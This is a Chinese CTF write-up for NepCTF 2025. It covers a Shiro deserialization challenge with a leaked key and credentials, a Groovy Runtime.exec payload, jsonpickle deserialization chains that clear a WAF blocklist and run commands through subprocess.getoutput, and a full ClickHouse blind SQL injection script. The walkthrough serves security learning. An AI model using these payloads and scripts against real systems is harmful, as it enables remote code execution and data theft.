NepCTF 2025

JavaSeri

基础的shiro反序列化 工具可以一把梭

dirsearch扫出来一个www.zip,有一堆东西，也有账密 sunxiaochuan258 NM$L@SBCNM.COM

密钥为kPH+bIxk5D2deZiIxcaaaA==

解决

easyGooGooVVVY and RevengeGooGooVVVY

通用poc 出题人waf没换说是

this.class.classLoader.loadClass('java.lang.Runtime')
    .getRuntime()
    .exec('env')
    .inputStream
    .text

safe_bank

前言:这道题很考验python代码审计的能力 需要我们自己去读源码 还有一些小小的坑点

进入题目有

和一个注册框 先注册帐号进去看看 提示我需要管理权限 authz=eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogInNhdXkiLCAidHMiOiAxNzUzNzkwNDM5fX0=

解码得

{"py/object": "__main__.Session", "meta": {"user": "sauy", "ts": 1753790439}}

那我直接user改为admin

哇！是管理员面板!难道我win了吗 进去是假的flag(笑嘻了)

既然是jsonpickle 有jsonpickle反序列化这个知识点 这里我在赛中使用了很多poc 但是因为一些原因都没办法成功打通(悲)

但是知道一点waf builtins subclasses reduce system subprocess state re code os reduce import __class__ open不行

后复现参考了文章https://xz.aliyun.com/news/16133

注重看py/object

看到 {'py/object': 'glob.glob', 'py/newargs': {'/*'}} 没有blacklist里的 直接用这个回显error

题里面authz的结构是 {"py/object": "__main__.Session", "meta": {"user": "sauy", "ts": 1753790439}} 那应该是必须符合这个结构

把链子放在user处 {"py/object": "__main__.Session", "meta": {"user": {'py/object': 'glob.glob', 'py/newargs': {'/*'}}, "ts": 1753790439}} 还是回显error

正确的poc是 {"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": [{"py/set":["/*"]},""]},"ts":1753790439}}

解释：

1.使用py/newargsex

py/newargs是给实现了__new__的对象用的
py/newargsex是给没实现__new__的old-style class用的

2.使用set方式传

保证args, kwargs = obj[tags.NEWARGSEX]在运行时不会出错

3.json要全部都是双引号

所以这题我认为门槛挺高的,对没有过开发经验的人来说不太友好，很有国外xss的味道了(仅个人观点) 但是最后解出是40多 师傅们很强 期待看到其他师傅的解法

言归正传 使用上述正确poc后

要读/readflag

读文件 {'py/object': 'linecache.getlines', 'py/newargs': ['/flag']}

读源码

{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/app/app.py"]},""]},"ts":1753790439}}

格式化后的源码

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

# --- Flask 应用初始化 ---
app = Flask(__name__)
app.secret_key = os.urandom(24) # 用于会话和CSRF保护的秘钥

# --- 用户账户和会话类定义 ---
class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd

class Session:
    def __init__(self, meta):
        self.meta = meta

# --- 用户数据库（硬编码）---
users_db = [
    Account("admin", os.urandom(16).hex()), # 管理员账户，密码随机生成
    Account("guest", "guest")              # 普通用户账户
]

# --- 用户注册辅助函数 ---
def register_user(username, password):
    """
    尝试注册新用户。
    如果用户名已存在，返回 False。
    """
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True

# --- WAF 黑名单列表 ---
# 包含大量用于阻止反序列化攻击的关键词
FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

# --- Web 应用程序防火墙 (WAF) ---
def waf(serialized):
    """
    检查序列化后的 JSON 字符串中是否包含任何黑名单关键词。
    """
    try:
        # 先解析成 Python 字典，再重新导出为字符串进行检查
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False) # WAF检查的是这个重新dump的字符串
        for bad in FORBIDDEN:
            if bad in payload:
                return bad # 如果发现黑名单关键词，返回该关键词
        return None # 未发现黑名单关键词
    except:
        return "error" # JSON 解析失败或waf函数内部错误

# --- 路由定义 ---

@app.route('/')
def root():
    """根页面，显示index.html"""
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    """用户注册页面和处理"""
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')

        if not username or not password or not confirm_password:
            return render_template('register.html', error="所有字段都是必填的。")

        if password != confirm_password:
            return render_template('register.html', error="密码不匹配。")

        if len(username) < 4 or len(password) < 6:
            return render_template('register.html', error="用户名至少需要4个字符，密码至少需要6个字符。")

        if register_user(username, password):
            return render_template('index.html', message="注册成功！请登录。")
        else:
            return render_template('register.html', error="用户名已存在。")

    return render_template('register.html')

@app.post('/auth')
def auth():
    """用户认证（登录）处理"""
    u = request.form.get("u")
    p = request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            # 认证成功，生成会话令牌
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data) # 序列化Session对象
            b64_token = base64.b64encode(token_raw.encode()).decode() # Base64编码

            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token) # 设置认证Cookie
            resp.status_code = 302
            resp.headers['Location'] = '/panel' # 重定向到面板页
            return resp
    return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
    """用户面板页面"""
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))

    try:
        # Base64解码Token
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template('error.html', error="Token格式错误。")

    # WAF检查
    ban = waf(decoded)
    if ban:
        return render_template('error.html', error=f"请不要黑客攻击！{ban}")

    try:
        # 反序列化Session对象
        # safe=True 参数旨在防止不安全的构造函数调用，但并非万能
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta

        # 根据用户权限显示不同面板
        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))

        return render_template('admin_panel.html')
    except Exception as e:
        # 捕捉反序列化或处理过程中的异常
        return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
    """金库页面（只有管理员能访问并查看Flag）"""
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))

    try:
        decoded = base64.b64decode(token.encode()).decode()
        # WAF检查
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击！")

        # 反序列化Session对象
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta

        # 权限检查
        if meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

        # 管理员专属，显示Flag
        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"

        return render_template('vault.html', flag=flag)
    except:
        # 泛型异常捕获，重定向回根页
        return redirect(url_for('root'))

@app.route('/about')
def about():
    """关于页面"""
    return render_template('about.html')

# --- 应用运行 ---
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

黑名单（哎哟我。。。

FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

文章上所有已知的poc都被禁了 那么肯定就要自己想办法了

这里看的是lamentxu师傅的方法 直接清除黑名单 (暴力美学 赞

list对象有个方法 clear list.clear()

调用FORBIDDEN.clear()函数 就可以将FORBIDDEN列表清空了!

POC:

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753790439}}

再使用

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag > /app/1.txt"]},"ts":1753790439}}

再去读/app/1.txt

{"py/object": "__main__.Session","meta": {"user": {"py/object": "subprocess.getoutput","py/newargs": ["cat /app/1.txt"]}, "ts": 1753446254}}

我难道不是sql注入天才吗

挺小众的clickhouse数据库 黑名单是preg_match('/select.*from|\(|or|and|union|except/is',$id)

这里的脚本来源于群里baozongwi师傅提供的 使用了 INTERSECT 子句

https://clickhouse.com/docs/zh/sql-reference/statements/select/intersect

INTERSECT 子句仅返回来自第一个和第二个查询的结果行。这两个查询必须匹配列数、顺序和类型。`INTERSECT` 的结果可以包含重复行。
																					--来源clickhouse官方文档

import requests
from collections import deque
from urllib.parse import urlparse
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# --- 配置 ---
URL = "https://nepctf31-syh2-6rti-hovn-hn4xv8mjt033.nepctf.com:443"
CHARSET = '1234567890abcdefghijklmnopqrstuvwxyzNCTF-{}'
#CHARSET = string.ascii_lowercase + string.digits + '~`!@#$%^&*()+-={}[]\|<>,.?/_'
#CHARSET = string.ascii_letters + string.digits + string.punctuation
# 库
#payload_template = "id INTERSECT FROM system.databases AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"
# 表
# payload_template = "id INTERSECT FROM system.tables AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age WHERE inject.database='nepnep'"
# 名
# payload_template = "id INTERSECT FROM system.columns AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age WHERE inject.table='nepnep'"
# flag
# python test2.py "NepCTF"
payload_template = "id INTERSECT FROM nepnep.nepnep AS inject JOIN users ON inject.`51@g_ls_h3r3` LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"


HOSTNAME = urlparse(URL).hostname
HEADERS = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive',
    'Host': HOSTNAME
}



# --- 核心检测函数 ---

def check(prefix, exact_match=False):
    """
    发送盲注Payload，根据响应判断条件是否为真。
    返回 True 代表条件成立 (服务器返回了内容)。
    返回 False 代表条件不成立 (服务器未返回内容)。
    """
    # 根据是否精确匹配，决定LIKE语句的模式
    like_pattern = prefix if exact_match else f"{prefix}%"

    # 使用我们之前讨论并确认有效的盲注Payload格式
    # 这比你提供的HTTP请求中的原始payload更可靠，因为它能清晰地返回真/假两种状态

    final_payload = payload_template.format(pattern=like_pattern)
    data = {'id': final_payload}

    try:
        # 添加proxies参数并禁用SSL证书验证(verify=False)以配合代理工具
        response = requests.post(URL, headers=HEADERS, data=data, timeout=15, verify=False)

        if 'User_5' in response.text:
            return True
        else:
            return False
    except requests.exceptions.RequestException as e:
        # 网络错误等异常情况，打印错误并返回False
        print(f"\n[Error] Request failed for prefix '{prefix}': {e}", file=sys.stderr)
        return False


# --- 广度优先搜索 (BFS) 算法 ---

def bfs_discover(start_prefix=""):
    """
    使用广度优先搜索算法来发现所有表名。

    可以从一个指定的前缀开始搜索。
    """
    print("--- [ 启动广度优先(BFS)注入脚本 ] ---")
    queue = deque()
    found_names = set()

    # 1. 初始化队列
    if start_prefix:
        print(f"\n[+] 从指定前缀 '{start_prefix}' 开始搜索...")
        # 检查提供的前缀是否有效
        if check(start_prefix):
            print(f"  - 前缀 '{start_prefix}' 有效，将其添加到队列。")
            queue.append(start_prefix)
            # 检查提供的前缀本身是否就是一个完整的表名
            if check(start_prefix, exact_match=True):
                if start_prefix not in found_names:
                    print(f"\n  [!] 指定的前缀本身就是一个完整名: {start_prefix}\n")
                    found_names.add(start_prefix)
        else:
            print(f"\n[-] 指定的前缀 '{start_prefix}' 无效或未返回任何结果。脚本终止。")
            return
    else:
        # 如果未指定前缀，则从单个字符开始探测
        print("\n[+] 正在探测第一层前缀 (所有可能的起始字符)...")
        for char in CHARSET:
            if check(char):
                print(f"  - 发现有效起始字符: '{char}'")
                queue.append(char)
                # 检查单字符本身是否就是一个完整的表名
                if check(char, exact_match=True):
                    if char not in found_names:
                        print(f"\n  [!] 发现完整表名: {char}\n")
                        found_names.add(char)

    if not queue:
        print("\n[-] 未发现任何有效的起始字符，请检查配置或目标状态。")
        return

    # 2. 开始逐层遍历
    print("\n[+] 开始进行广度优先遍历...")
    # `level` 表示当前正在处理的前缀的长度
    level = len(start_prefix) if start_prefix else 1
    while queue:
        level_size = len(queue)
        print(f"\n--- 正在处理长度为 {level + 1} 的前缀 (当前队列中有 {level_size} 个待扩展前缀) ---")
        if level_size == 0: break

        for _ in range(level_size):
            current_prefix = queue.popleft()

            # 3. 扩展当前前缀，生成下一层节点
            for char in CHARSET:
                new_prefix = current_prefix + char

                # 检查新生成的前缀是否存在
                if check(new_prefix):
                    print(f"  - 发现有效前缀: '{new_prefix}'")
                    queue.append(new_prefix)

                    # 4. 检查该有效前缀是否同时也是一个完整的表名
                    if check(new_prefix, exact_match=True):
                        if new_prefix not in found_names:
                            print(f"\n  [!] 发现完整表名: {new_prefix}\n")
                            found_names.add(new_prefix)

        level += 1
        time.sleep(0.5)  # 适当暂停，避免对服务器造成过大压力

    print("\n--- [ BFS遍历完成 ] ---")
    if found_names:
        print("\n[SUCCESS] 所有发现的表名:")
        for name in sorted(list(found_names)):
            print(f"  -> {name}")
    else:
        print("\n[-] 未能发现任何完整的表名。")


# --- 脚本主入口 ---
if __name__ == "__main__":
    # 从命令行参数获取可选的起始前缀
    print(f"用法: python {sys.argv[0]} [可选的起始前缀]")
    start_prefix = ""
    if len(sys.argv) > 1:
        start_prefix = sys.argv[1]
        print(f"\n[*] 检测到命令行参数，将使用 '{start_prefix}' 作为起始前缀进行搜索。")
    else:
        print("\n[*] 未提供起始前缀，将从头开始搜索所有表名。")

    bfs_discover(start_prefix)